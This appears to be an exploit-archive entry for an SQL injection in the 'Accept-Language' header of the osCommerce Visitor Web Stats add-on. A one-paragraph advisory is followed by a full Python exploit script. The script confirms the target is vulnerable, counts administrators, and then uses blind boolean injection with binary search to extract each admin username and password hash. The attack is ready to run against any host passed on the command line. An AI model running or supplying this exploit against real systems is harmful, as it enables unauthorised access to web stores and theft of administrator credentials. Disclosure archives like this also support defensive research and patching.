osCommerce Visitor Web Stats AddOn – ‘Accept-Language’ Header SQL Injection
source: https://www.securityfocus.com/bid/40425/info osCommerce Visitor Web Stats is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. import sys import http.client if len(sys.argv) < 2: print("usage: " + sys.argv[0] + " <host> [<path>]") sys.exit(); host = sys.argv[1] if len(sys.argv) > 2: path = sys.argv[2] else: path = "/" def req(lang): c = http.client.HTTPConnection(host) c.request('GET', path, '', {'Accept-Language': lang}) return c.getresponse().read(); def check(condition): r = req("' AND 1=0 UNION SELECT id FROM administrators " + condition + " -- '") if r.find(b'update') != -1: return 1; elif r.find(b'Unknown column') != -1: print('Unknown database structure (no rc version?)') sys.exit(); return 0; if req("'").find(b'select counter FROM visitors where browser_ip') == -1: print('Target does not seem to have (a vulnarable version of) Visitor Web Stats or doesn\'t output any error messages') sys.exit(); admin_count = 1 while not check("HAVING COUNT(*) = " + str(admin_count)): admin_count += 1; print("Number of admins: " + str(admin_count)) pw_chars = [x for x in range(48, 58)] pw_chars.extend([x for x in range(97, 103)]) pw_chars.sort() todo = [('', 0, 255)] while len(todo): (found, start, end) = todo.pop() if start == 0 and end == 255 and check("WHERE user_name = '" + found + "'"): sys.stdout.write(found + " ") sys.stdout.flush() for i in range(35): if i == 32: sys.stdout.write(":") sys.stdout.flush() continue pw_start, pw_end = 0, len(pw_chars) - 1 while pw_start != pw_end: pw_mid = int((pw_start + pw_end) / 2) if check("WHERE user_name = '" + found + "' AND ORD(SUBSTRING(user_password, " + str(i + 1) + ", 1)) <= " + str(pw_chars[pw_mid])): pw_end = pw_mid else: if pw_mid == pw_end - 1: pw_start = pw_end else: pw_start = pw_mid sys.stdout.write(chr(pw_chars[pw_start])) sys.stdout.flush() print() if not check("WHERE SUBSTRING(user_name, 1, " + str(len(found)) + ") = '" + found + "' AND SUBSTRING(user_name, " + str(len(found) + 1) + ", 1) > 0"): continue; mid = int((start + end) / 2) if check("WHERE SUBSTRING(user_name, 1, " + str(len(found)) + ") = '" + found + "' AND ORD(SUBSTRING(user_name, " + str(len(found) + 1) + ", 1)) <= " + str(mid) + " AND ORD(SUBSTRING(user_name, " + str(len(found) + 1) + ", 1)) > 0"): if mid == start + 1: todo.append((found + chr(mid), 0, 255)) else: todo.append((found, start, mid)) if check("WHERE SUBSTRING(user_name, 1, " + str(len(found)) + ") = '" + found + "' AND ORD(SUBSTRING(user_name, " + str(len(found) + 1) + ", 1)) > " + str(mid)): if mid == end - 1: todo.append((found + chr(end), 0, 255)) else: todo.append((found, mid, end)) |